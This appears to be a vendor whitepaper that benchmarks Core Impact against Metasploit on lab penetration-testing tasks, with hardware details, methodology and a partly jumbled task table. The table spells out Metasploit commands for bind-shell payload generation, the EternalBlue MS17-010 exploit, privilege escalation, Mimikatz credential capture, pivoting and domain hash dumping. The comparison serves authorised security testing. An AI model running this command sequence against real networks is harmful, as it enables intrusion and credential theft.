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Under most tested scenarios, Core Impact users can expect a notable reduction in both operator time and total elapsed 
time when performing common penetration testing tasks. This whitepaper presents the repeatable methodology and 
testing protocol used in our study.

The most common tasks for penetration testers, which are performed dozens, if not hundreds of times per engagement, 
yield modest reductions in time spent using Core Impact vs. Metasploit. These common tasks include configuring and 
executing a TCP discovery scan (50% time savings), performing privilege escalations (5% time savings), and in memory 
credential grabs (7% time savings).

Configuring implanted agents when pivoting in Core Impact is up to five times faster (an 80% reduction in time) than the 
equivalent operation in Metasploit, with no risk of misconfiguration.

Post exploitation operations such as capturing a screenshot are executed up to four times more rapidly - again a 75% 
reduction in time. Core Impact and Metasploit use two distinctly different methodologies when it comes to their 
implants as Core Impact uses an Agent and Metasploit has Meterpreter. Core Impact generates a larger APT style Implant, 
where Metasploit generates out what’s classed as a “shellcode with extra capabilities” - or a minimal chunk of code for 
interacting with the target system. Due to this, the generation time itself isn’t directly comparable as its well under a 
second in both cases. However, the setup time is comparable. This tradeoff affects post deployment operations since a 
Metasploit user has to side load any code for anything beyond interacting with the shell - whereas Core Impact deploys 
the majority of the local functionality at the outset.

The single largest efficiency increase is in reporting. Core Impact retains all commands and outputs, making reporting 
much more efficient. Metasploit does not log commands and output by default, requiring you to not only remember to 
use the “spool” command, but also, collect and reformat that log. We observed a whopping six times faster (84%) task 
time in Core Impact over collecting the logs by hand with Metasploit.

This is not to say that all actions are more efficient in Core Impact. The actual TCP discovery scans took 17% longer 
with Core Impact, compared to Metasploit. A partial explanation for this difference lies in the amount of additional 
classification and discovery that Core Impact performs that is difficult to reduce. Penetration testers wanting a more 
minimalist scan would be recommended to utilize nmap and import the results.

Overall, between the reduced task setup times afforded by Core Impact’s user interface, coupled with Core Impact’s 
native ability to execute multiple tasks in parallel, there are significant efficiency gains obtained by using Core Impact. 
Metasploit, much more so than Core Impact, requires that the operator to execute many tasks in series prior to 
exploitation. Core Impact’s UI allows the tester to more readily execute tasks in parallel without running multiple sessions.

Executive Summary

Overall Findings
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Hardware
Testing was performed on a VMware ESX 6.0 cluster.
All VMs were housed on a single compute node with the following specs:

+ 2xHexacore Intel Xeon X5660 processors
+ 288GB RAM
+ 1 TB Crucial MX300 SSD for boot drive

Storage was provided by a FreeNAS iSCSI volume connected to the compute node via 10GBE. The storage raw storage 
consisted of 14x500GB 7200rpm SAS disks configured in a RAID-5 with hot spare, an Intel P3605 NVMe solid state disk 
with 1.6TB of storage for caching, and 160GB of RAM.

Virtual Machines
The following virtual machines were built and configured for testing:

1. Windows 2008R2 domain controller with 2 vCores, 16GB Ram, and 60GB disk, thick provisioned
2. Windows 2008R2 file server with 2 vCores, 16GB Ram, and 60GB disk, thick provisioned
3. 2 x Windows 7 Pro workstation with 2 vCores, 8GB Ram, and 60GB disk, thick provisioned
4. Ubuntu 16.04 LTS Server running postfix and dovecot with 2 vCores, 16GB Ram, and 60GB disk, thick provisioned
5. Ubuntu 16.04 LTS Server running Apache, MariaDB, and Wordpress with 2 vCores, 16GB Ram, and 60GB disk
6. Windows 10 Enterprise LTSB attack station running Core Impact 18.1, with 2 vCores, 16GB Ram, and 60GB disk
7. Ubuntu 16.04 LTS Server running Metasploit installed from the Rapid7 Omnibus installer, with 2 vCores, 16GB Ram, 

and 60GB disk

Preparing the Virtual Machines
Virtual machine based images were prepared using Packer and then were deployed and configured using Ansible to 
ensure repeatability.

Testing Methodology
Prior to each test series, the virtual machines, hypervisor, and storage were shut down and powered back up to ensure 
that disk caches are cold. No actions were taken to warm the disk cache prior to testing. Each task series is repeated 10 
times, with the durations rounded to the nearest five seconds. Shortest and longest intervals are reported.

Tasks Tested
1. Create an implant deployable as an executable for Windows on a x64 architecture
2. Create an implant deployable as a Dynamic Link Library for Windows on a x64 architecture
3. Run discovery scans against 10.200.10.0/24
4. Deploy an implant to the file server using the MS17-010 exploit
5. Escalate privileges on the file server agent
6. Capture a screenshot
7. Run Mimikatz to capture credentials
8. Configure Pivot
9. Deploy an implant to the domain controller using the MS17-10 exploit via the file server pivot
10. Extract domain user hashes
11. Collect activities for an audit report

Testing Setup
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1 This will capture input and output but requires parsing.

Task

Create an Implant 
Deployable as an 
executable for 
Windows x64

Create an Implant 
as a DLL for 
Windows x64

Run TCP 
discovery scans for 
10.200.10.0/24

Deploy implant to 
Domain controller 
using 

Deploy implant to 

MS17-010

Escalate implant to 
SYSTEM

Collect credentials 
in Mimikatz

MS17-010 via File 
Server pivot

Extract domain user 
hashes

Collect activities for 
an audit report

Capture a 
screenshot

Run “Package and Register Agent” module

Run “Package and Register Agent” module

Network Info Gathering Select IPv4
Network Range: 10.200.10.0/24
Scan Type: Custom
Use TCP Connect
Port Range 1-1000

Remote Code Execution Exploit (MS17-010)

Remote Code Execution Exploit (MS17-010)

Run Privilege Escaltion 
RPT

Right click on agent.
Mimikatz

Right click on agent. Set as Source

Run “Windows Secrets Dump (L)” module

Run “Activity Report” module

Use /payload/windows/shell_bind_tcp
Generate –t exe –p x64 –f /tmp/x64.exe

Use payload/windows/shell_bind_tcp
Generate –t dll –p x64 –f /tmp/x64.dll

Use auxiliary/scanner/portscan/tcp
Set PORTS  1-1000
Set RHOSTS 10.200.10.0/24
run

use exploit/windows/smb/ms17_010_
eternalblue
show targets
set TARGET 0
set LHOST 10.200.10.11

use exploit/windows/smb/ms17_010_
eternalblue
show targets
set TARGET 0
set RHOST 10.200.10.11
run

Use priv
Getsystem
Getuid

Load mimikatz
Msv
kerberos

Background
Run autoroute

set RHOST 10.200.10.10
run

Use post/windows/gather/credentials/domain_
hashdump

Run “spool /tmp/msf.log” at beginning of 
session. Retrieve log afterward. 1
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Task Processes
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Testing Results

2 Additional formatting is required prior to inclusion in reporting.
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